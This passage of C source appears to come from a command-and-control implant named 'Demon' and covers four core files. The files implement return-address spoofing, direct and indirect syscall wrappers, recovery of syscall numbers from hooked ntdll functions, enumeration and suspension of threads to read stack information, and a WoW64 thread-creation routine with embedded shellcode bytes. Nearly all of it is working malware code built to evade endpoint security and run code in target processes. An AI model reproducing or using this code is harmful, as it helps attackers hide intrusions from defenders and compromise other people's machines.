%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x\n", Domain, IPv6[0], IPv6[1], IPv6[2], IPv6[3], IPv6[4], IPv6[5], IPv6[6], IPv6[7], IPv6[8], IPv6[9], IPv6[10], IPv6[11], IPv6[12], IPv6[13], IPv6[14], IPv6[15] ) return IPv6; } ================================================ FILE: payloads/Demon/src/core/Spoof.c ================================================ #include #include #if _WIN64 PVOID SpoofRetAddr( _In_ PVOID Module, _In_ ULONG Size, _In_ HANDLE Function, _Inout_ PVOID a, _Inout_ PVOID b, _Inout_ PVOID c, _Inout_ PVOID d, _Inout_ PVOID e, _Inout_ PVOID f, _Inout_ PVOID g, _Inout_ PVOID h ) { PVOID Trampoline = { 0 }; BYTE Pattern[] = { 0xFF, 0x23 }; PRM Param = { NULL, NULL, NULL }; if ( Function != NULL ) { Trampoline = MmGadgetFind( C_PTR( U_PTR( Module ) + LDR_GADGET_HEADER_SIZE ), U_PTR( Size ), Pattern, sizeof( Pattern ) ); /* set params */ Param.Trampoline = Trampoline; Param.Function = Function; if ( Trampoline != NULL ) { return ( ( PVOID( * ) ( PVOID, PVOID, PVOID, PVOID, PPRM, PVOID, PVOID, PVOID, PVOID, PVOID ) ) ( ( PVOID ) Spoof ) ) ( a, b, c, d, &Param, NULL, e, f, g, h ); } } return NULL; } #endif ================================================ FILE: payloads/Demon/src/core/SysNative.c ================================================ #include #include #include NTSTATUS NTAPI SysNtOpenThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN OPT PCLIENT_ID ClientId ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtOpenThread, ThreadHandle, DesiredAccess, ObjectAttributes, ClientId ) return NtStatus; } NTSTATUS NTAPI SysNtOpenProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN OPT PCLIENT_ID ClientId ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId ); return NtStatus; } NTSTATUS NTAPI SysNtTerminateProcess( IN OPTIONAL HANDLE ProcessHandle, IN NTSTATUS ExitStatus ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtTerminateProcess, ProcessHandle, ExitStatus ); return NtStatus; } NTSTATUS NTAPI SysNtOpenThreadToken( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, OUT PHANDLE TokenHandle ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtOpenThreadToken, ThreadHandle, DesiredAccess, OpenAsSelf, TokenHandle ); return NtStatus; } NTSTATUS NTAPI SysNtOpenProcessToken( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, OUT PHANDLE TokenHandle ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtOpenProcessToken, ProcessHandle, DesiredAccess, TokenHandle ); return NtStatus; } NTSTATUS NTAPI SysNtDuplicateToken( IN HANDLE ExistingTokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN EffectiveOnly, IN TOKEN_TYPE TokenType, OUT PHANDLE NewTokenHandle ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtDuplicateToken, ExistingTokenHandle, DesiredAccess, ObjectAttributes, EffectiveOnly, TokenType, NewTokenHandle ); return NtStatus; } NTSTATUS NTAPI SysNtQueueApcThread( IN HANDLE ThreadHandle, IN PPS_APC_ROUTINE ApcRoutine, IN OPT PVOID ApcArgument1, IN OPT PVOID ApcArgument2, IN OPT PVOID ApcArgument3 ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQueueApcThread, ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3 ); return NtStatus; } NTSTATUS NTAPI SysNtSuspendThread( IN HANDLE ThreadHandle, OUT OPT PULONG PreviousSuspendCount ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtSuspendThread, ThreadHandle, PreviousSuspendCount ); return NtStatus; } NTSTATUS NTAPI SysNtResumeThread( IN HANDLE ThreadHandle, OUT OPT PULONG PreviousSuspendCount ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtResumeThread, ThreadHandle, PreviousSuspendCount ); return NtStatus; } NTSTATUS NTAPI SysNtCreateEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN OPT POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtCreateEvent, EventHandle, DesiredAccess, ObjectAttributes, EventType, InitialState ); return NtStatus; } NTSTATUS NTAPI SysNtCreateThreadEx( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, IN PVOID lpBytesBuffer ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtCreateThreadEx, hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, Flags, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer ); return NtStatus; } NTSTATUS NTAPI SysNtDuplicateObject( IN HANDLE SourceProcessHandle, IN HANDLE SourceHandle, IN OPT HANDLE TargetProcessHandle, OUT PHANDLE TargetHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Options ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtDuplicateObject, SourceProcessHandle, SourceHandle, TargetProcessHandle, TargetHandle, DesiredAccess, HandleAttributes, Options ); return NtStatus; } NTSTATUS NTAPI SysNtGetContextThread ( IN HANDLE ThreadHandle, _Inout_ PCONTEXT ThreadContext ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtGetContextThread, ThreadHandle, ThreadContext ); return NtStatus; } NTSTATUS NTAPI SysNtSetContextThread( IN HANDLE ThreadHandle, IN PCONTEXT ThreadContext ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtSetContextThread, ThreadHandle, ThreadContext ); return NtStatus; } NTSTATUS NTAPI SysNtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT OPT PULONG ReturnLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength ); return NtStatus; } NTSTATUS NTAPI SysNtQuerySystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT OPT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPT PULONG ReturnLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQuerySystemInformation, SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); return NtStatus; } NTSTATUS NTAPI SysNtWaitForSingleObject( IN HANDLE Handle, IN BOOLEAN Alertable, IN OPT PLARGE_INTEGER Timeout ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtWaitForSingleObject, Handle, Alertable, Timeout ); return NtStatus; } NTSTATUS NTAPI SysNtAllocateVirtualMemory( IN HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, IN ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect ); return NtStatus; } NTSTATUS NTAPI SysNtWriteVirtualMemory( IN HANDLE ProcessHandle, IN OPT PVOID BaseAddress, IN CONST VOID* Buffer, IN SIZE_T BufferSize, OUT OPT PSIZE_T NumberOfBytesWritten ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, BufferSize, NumberOfBytesWritten ); return NtStatus; } NTSTATUS NTAPI SysNtFreeVirtualMemory( IN HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG FreeType ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType ); return NtStatus; } NTSTATUS NTAPI SysNtUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtUnmapViewOfSection, ProcessHandle, BaseAddress ); return NtStatus; } NTSTATUS NTAPI SysNtProtectVirtualMemory( IN HANDLE ProcessHandle, _Inout_ PVOID* BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect ); return NtStatus; } NTSTATUS NTAPI SysNtReadVirtualMemory ( IN HANDLE ProcessHandle, IN OPT PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPT PSIZE_T NumberOfBytesRead ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, BufferSize, NumberOfBytesRead ); return NtStatus; } NTSTATUS NTAPI SysNtTerminateThread ( IN OPT HANDLE ThreadHandle, IN NTSTATUS ExitStatus ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtTerminateThread, ThreadHandle, ExitStatus ); return NtStatus; } NTSTATUS NTAPI SysNtAlertResumeThread( IN HANDLE ThreadHandle, OUT OPT PULONG PreviousSuspendCount ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtAlertResumeThread, ThreadHandle, PreviousSuspendCount ); return NtStatus; } NTSTATUS NTAPI SysNtSignalAndWaitForSingleObject( IN HANDLE SignalHandle, IN HANDLE WaitHandle, IN BOOLEAN Alertable, IN OPT PLARGE_INTEGER Timeout ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtSignalAndWaitForSingleObject, SignalHandle, WaitHandle, Alertable, Timeout ); return NtStatus; } NTSTATUS NTAPI SysNtQueryVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT OPT PSIZE_T ReturnLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQueryVirtualMemory, ProcessHandle, BaseAddress, MemoryInformationClass, MemoryInformation, MemoryInformationLength, ReturnLength ); return NtStatus; } NTSTATUS NTAPI SysNtQueryInformationToken ( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, OUT PVOID TokenInformation, IN ULONG TokenInformationLength, OUT PULONG ReturnLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQueryInformationToken, TokenHandle, TokenInformationClass, TokenInformation, TokenInformationLength, ReturnLength ); return NtStatus; } NTSTATUS NTAPI SysNtQueryInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT OPT PULONG ReturnLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQueryInformationThread, ThreadHandle, ThreadInformationClass, ThreadInformation, ThreadInformationLength, ReturnLength ); return NtStatus; } NTSTATUS NTAPI SysNtQueryObject( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, OUT PVOID ObjectInformation, IN ULONG ObjectInformationLength, OUT PULONG ReturnLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtQueryObject, Handle, ObjectInformationClass, ObjectInformation, ObjectInformationLength, ReturnLength ); return NtStatus; } NTSTATUS NTAPI SysNtClose ( IN HANDLE Handle ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtClose, Handle ); return NtStatus; } NTSTATUS NTAPI SysNtSetInformationThread ( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtSetInformationThread, ThreadHandle, ThreadInformationClass, ThreadInformation, ThreadInformationLength ); return NtStatus; } NTSTATUS NTAPI SysNtSetInformationVirtualMemory( IN HANDLE ProcessHandle, IN VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, IN ULONG_PTR NumberOfEntries, IN PMEMORY_RANGE_ENTRY VirtualAddresses, IN PVOID VmInformation, IN ULONG VmInformationLength ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtSetInformationVirtualMemory, ProcessHandle, VmInformationClass, NumberOfEntries, VirtualAddresses, VmInformation, VmInformationLength ); return NtStatus; } NTSTATUS NTAPI SysNtGetNextThread( IN HANDLE ProcessHandle, IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewThreadHandle ) { NTSTATUS NtStatus = STATUS_SUCCESS; SYS_CONFIG SysConfig = { 0 }; SYSCALL_INVOKE( NtGetNextThread, ProcessHandle, ThreadHandle, DesiredAccess, HandleAttributes, Flags, NewThreadHandle ); return NtStatus; } ================================================ FILE: payloads/Demon/src/core/Syscalls.c ================================================ #include #include #include #include /*! * Initialize syscall addr + ssn * @param Ntdll * @return */ BOOL SysInitialize( IN PVOID Ntdll ) { PVOID SysNativeFunc = NULL; PVOID SysIndirectAddr = NULL; if ( ! Ntdll ) { return FALSE; } /* Resolve Syscall instruction from dummy nt function */ if ( ( SysNativeFunc = LdrFunctionAddr( Ntdll, H_FUNC_NTADDBOOTENTRY ) ) ) { /* resolve address */ SysExtract( SysNativeFunc, TRUE, NULL, &SysIndirectAddr ); /* check if we managed to resolve it */ if ( SysIndirectAddr ) { Instance->Syscall.SysAddress = SysIndirectAddr; } else { PUTS_DONT_SEND( "Failed to resolve SysIndirectAddr" ); } } #if _M_IX86 if ( IsWoW64() ) { Instance->Syscall.SysAddress = __readfsdword(0xC0); } #endif /* Resolve Ssn */ SYS_EXTRACT( NtOpenThread ) SYS_EXTRACT( NtOpenThreadToken ) SYS_EXTRACT( NtOpenProcess ) SYS_EXTRACT( NtTerminateProcess ) SYS_EXTRACT( NtOpenProcessToken ) SYS_EXTRACT( NtDuplicateToken ) SYS_EXTRACT( NtQueueApcThread ) SYS_EXTRACT( NtSuspendThread ) SYS_EXTRACT( NtResumeThread ) SYS_EXTRACT( NtCreateEvent ) SYS_EXTRACT( NtCreateThreadEx ) SYS_EXTRACT( NtDuplicateObject ) SYS_EXTRACT( NtGetContextThread ) SYS_EXTRACT( NtSetContextThread ) SYS_EXTRACT( NtQueryInformationProcess ) SYS_EXTRACT( NtQuerySystemInformation ) SYS_EXTRACT( NtWaitForSingleObject ) SYS_EXTRACT( NtAllocateVirtualMemory ) SYS_EXTRACT( NtWriteVirtualMemory ) SYS_EXTRACT( NtReadVirtualMemory ) SYS_EXTRACT( NtFreeVirtualMemory ) SYS_EXTRACT( NtUnmapViewOfSection ) SYS_EXTRACT( NtProtectVirtualMemory ) SYS_EXTRACT( NtTerminateThread ) SYS_EXTRACT( NtAlertResumeThread ) SYS_EXTRACT( NtSignalAndWaitForSingleObject ) SYS_EXTRACT( NtQueryVirtualMemory ) SYS_EXTRACT( NtQueryInformationToken ) SYS_EXTRACT( NtQueryInformationThread ) SYS_EXTRACT( NtQueryObject ) SYS_EXTRACT( NtClose ) SYS_EXTRACT( NtSetEvent ) SYS_EXTRACT( NtSetInformationThread ) SYS_EXTRACT( NtSetInformationVirtualMemory ) SYS_EXTRACT( NtGetNextThread ) } /*! * extract syscall service number (SSN) and or * syscall instruction address * @param Function Native function address to extract Ssn/SysAddr from * @param ResolveHooked if the function should call FindSsnOfHookedSyscall upon failure * @param Ssn extracted ssn * @param Addr extracted sys addr * @return if extracting the syscall was successful */ BOOL SysExtract( IN PVOID Function, IN BOOL ResolveHooked, OUT PWORD Ssn, OUT PVOID* SysAddr ) { ULONG Offset = 0; BYTE SsnLow = 0; BYTE SsnHigh = 0; BOOL Success = FALSE; /* check args */ if ( ! Function ) { PUTS( "Function address is not defined" ) return FALSE; } if ( ! Ssn && ! SysAddr ) { PRINTF( "No Ssn and SysAddr pointers set for function at 0x%p\n", Function ) return FALSE; } do { /* check if current instruction is a 'ret' (end of function) */ if ( DREF_U8( Function + Offset ) == SYS_ASM_RET ) { break; } #if _WIN64 /* check current instructions for: * mov r10, rcx * mov rcx, [ssn] */ if ( DREF_U8( Function + Offset + 0x0 ) == 0x4C && DREF_U8( Function + Offset + 0x1 ) == 0x8B && DREF_U8( Function + Offset + 0x2 ) == 0xD1 && DREF_U8( Function + Offset + 0x3 ) == 0xB8 ) #else /* check current instructions for: * mov eax, [ssn] */ if ( DREF_U8( Function + Offset + 0x0 ) == 0xB8 ) #endif { /* if the Ssn param has been specified try to get the Ssn of the function */ if ( Ssn ) { SsnLow = DREF_U8( Function + Offset + SSN_OFFSET_1 ); SsnHigh = DREF_U8( Function + Offset + SSN_OFFSET_2 ); *Ssn = ( SsnHigh << 0x08 ) | SsnLow; Success = TRUE; } /* if SysAddr has been specified then try to get the native function syscall instruction */ if ( SysAddr ) { Success = FALSE; #if _M_IX86 if ( IsWoW64() ) { *SysAddr = __readfsdword(0xC0); Success = TRUE; break; } #endif for ( int i = 0; i < SYS_RANGE; i++ ) { /* check if the current ( function + offset + i ) is 'syscall' instruction */ if ( DREF_U16( Function + Offset + i ) == SYSCALL_ASM ) { *SysAddr = C_PTR( Function + Offset + i ); Success = TRUE; break; } } } /* we should be finished */ break; } Offset++; } while ( TRUE ); if ( ! Success && Ssn && ResolveHooked ) { Success = FindSsnOfHookedSyscall( Function, Ssn ); } if ( ! Success ) { if ( Ssn ) { PRINTF( "Could not resolve the Ssn of function at 0x%p\n", Function ) } if ( SysAddr ) { PRINTF( "Could not resolve the SysAddr of function at 0x%p\n", Function ) } } return Success; } /* * If a function is hooked, we can't obtain the Ssn directly. * Instead, we look for the Ssn of a neighbouring syscalls and add/subtract * to their Ssn according to their distance. * WARNING: This only works if Ssn are incremental! */ BOOL FindSsnOfHookedSyscall( IN PVOID Function, OUT PWORD Ssn ) { UINT32 SyscallSize = 0; PVOID NeighbourSyscall = NULL; WORD NeighbourSsn = NULL; PRINTF( "The syscall at address 0x%p seems to be hooked, trying to resolve its Ssn via neighbouring syscalls...\n", Function ) if ( ! ( SyscallSize = GetSyscallSize() ) ) { PUTS( "Failed to obtain the size of the syscalls stub" ) return FALSE; } for ( UINT32 i = 1; i < 500; ++i ) { // try with a syscall above ours NeighbourSyscall = C_PTR( U_PTR( Function ) + ( SyscallSize * i ) ); if( SysExtract( NeighbourSyscall, FALSE, &NeighbourSsn, NULL ) ) { *Ssn = NeighbourSsn - i; return TRUE; } // try with a syscall below ours NeighbourSyscall = C_PTR( U_PTR( Function ) - ( SyscallSize * i ) ); if( SysExtract( NeighbourSyscall, FALSE, &NeighbourSsn, NULL ) ) { *Ssn = NeighbourSsn + i; return TRUE; } } return FALSE; } ================================================ FILE: payloads/Demon/src/core/Thread.c ================================================ #include #include #include #include #include #include #include /*! * queries the NT_TIB from the specified leaked thread RSP address * * NOTE: * this function is entirely taken from Austins Hudson's implementation. * reference: https://github.com/realoriginal/titanldr-ng/blob/master/Obf.c#L215 * * @param Adr leaked rsp address * @param Tib random tib * @return */ BOOL ThreadQueryTib( IN PVOID Adr, OUT PNT_TIB Tib ) { THREAD_TEB_INFORMATION ThdTebInfo = { 0 }; MEMORY_BASIC_INFORMATION Memory1 = { 0 }; MEMORY_BASIC_INFORMATION Memory2 = { 0 }; CLIENT_ID Client = { 0 }; CONTEXT ThdCtx = { 0 }; HANDLE ThdHndl = NULL; HANDLE ThdNext = NULL; BOOL Success = FALSE; DWORD ThreadId = 0; /* our current thread id */ ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread ); ThdCtx.ContextFlags = CONTEXT_FULL; /* iterate over current process threads */ while ( NT_SUCCESS( SysNtGetNextThread( NtCurrentProcess(), ThdHndl, THREAD_ALL_ACCESS, 0, 0, &ThdNext ) ) ) { /* if the thread handle is valid close it */ if ( ThdHndl ) { SysNtClose( ThdHndl ); } /* set the next thread */ ThdHndl = ThdNext; /* setup params we want to query */ ThdTebInfo.TebOffset = FIELD_OFFSET( TEB, ClientId ); ThdTebInfo.BytesToRead = sizeof( CLIENT_ID ); ThdTebInfo.TebInformation = C_PTR( &Client ); /* query information about the target thread */ if ( NT_SUCCESS( SysNtQueryInformationThread( ThdHndl, ThreadTebInformation, &ThdTebInfo, sizeof( ThdTebInfo ), NULL ) ) ) { /* if it's not our current thread then continue. */ if ( ThreadId != U_PTR( Client.UniqueThread ) ) { /* suspend target thread */ if ( NT_SUCCESS( SysNtSuspendThread( ThdHndl, NULL ) ) ) { /* get target thread context */ if ( NT_SUCCESS( SysNtGetContextThread( ThdHndl, &ThdCtx ) ) ) { /* query memory info about rsp address */ #if _WIN64 if ( NT_SUCCESS( SysNtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Rsp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) ) #else if ( NT_SUCCESS( Instance->Win32.NtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Esp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) ) #endif { /* query memory info about rsp address */ if ( NT_SUCCESS( SysNtQueryVirtualMemory( NtCurrentProcess(), Adr, MemoryBasicInformation, &Memory2, sizeof( Memory2 ), NULL ) ) ) { /* check if it's the same region */ if ( U_PTR( Memory1.AllocationBase ) == U_PTR( Memory2.AllocationBase ) ) { /* setup params we want to query */ ThdTebInfo.TebOffset = FIELD_OFFSET( TEB, NtTib ); ThdTebInfo.BytesToRead = sizeof( NT_TIB ); ThdTebInfo.TebInformation = C_PTR( Tib ); /* Query information about the target thread */ if ( NT_SUCCESS( SysNtQueryInformationThread( ThdHndl, ThreadTebInformation, &ThdTebInfo, sizeof( ThdTebInfo ), NULL ) ) ) { Success = TRUE; } } } } } /* resume target thread */ SysNtResumeThread( ThdHndl, NULL ); } } } /* did we successfully retrieve Tib ? * if yes then break loop. we got what we wanted */ if ( Success ) { break; } } /* if the thread handle is valid close it */ if ( ThdHndl ) { SysNtClose( ThdHndl ); ThdHndl = NULL; } return Success; } #if _M_IX86 // https://github.com/rapid7/meterpreter/blob/5e309596e53ead0f64564fe77e0cad70908f6739/source/common/arch/win/i386/base_inject.c#L343 HANDLE ThreadCreateWoW64( IN BYTE Method, IN HANDLE Process, IN PVOID Entry, IN PVOID Arg ) { // TODO: define these arrays with HideChar or some other method /* * NOTE: migrate_executex64 was modified to include the instructions "mov ax, ds; mov ss, ax" * which fixes a bizarre CPU bug described here http://blog.rewolf.pl/blog/?p=1484 * for reference: https://github.com/rapid7/metasploit-framework/blob/f17b28930dd926b93915a115f1117825f4c594db/external/source/shellcode/windows/x86/src/migrate/executex64.asm#L43-L44 */ BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" "\x58\x83\xC0\x2A\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" "\x89\x02\xE8\x0E\x00\x00\x00\x66\x8c\xd8\x8e\xd0\x83\xC4\x14\x5F" "\x5E\x5D\xC2\x08\x00\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6" "\x5F\x50\xC7\x44\x24\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24"; BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" "\x48\x83\xC4\x50\x48\x89\xFC\xC3"; WOW64CONTEXT ctx = { 0 }; SIZE_T Size = 0; HANDLE hThread = NULL; EXECUTEX64 pExecuteX64 = NULL; X64FUNCTION pX64function = NULL; ctx.h.hProcess = Process; ctx.s.lpStartAddress = Entry; ctx.p.lpParameter = Arg; ctx.t.hThread = NULL; // allocate some memory for both shellcode stubs Size = sizeof( migrate_executex64 ) + sizeof(migrate_wownativex); if ( ! ( pExecuteX64 = MmVirtualAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Size, PAGE_READWRITE ) ) ) { PUTS( "Failed allocating RW for migrate_executex64 and migrate_wownativex" ) goto END; } // copy migrate_executex64 MemCopy( pExecuteX64, &migrate_executex64, sizeof( migrate_executex64 ) ); // copy migrate_wownativex pX64function = C_PTR( U_PTR( pExecuteX64 ) + sizeof( migrate_executex64 ) ); MemCopy( pX64function, &migrate_wownativex, sizeof( migrate_wownativex ) ); // switch RW to RX if ( ! ( MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), pExecuteX64, Size, PAGE_EXECUTE_READ ) ) ) { PUTS( "Failed to change memory protection" ) goto END; } PUTS( "calling RtlCreateUserThread( ctx->h.hProcess, NULL, TRUE, 0, NULL, NULL, ctx->s.lpStartAddress, ctx->p.lpParameter, &ctx->t.hThread, NULL ) on x64 context" ) if( ! pExecuteX64( pX64function, &ctx ) ) { NtSetLastError( ERROR_ACCESS_DENIED ); PUTS( "ThreadCreateWoW64 failed" ) goto END; } if( ! ctx.t.hThread ) { NtSetLastError( ERROR_INVALID_HANDLE ); PUTS( "ThreadCreateWoW64: ctx->t.hThread is NULL" ) goto END; } PUTS( "The 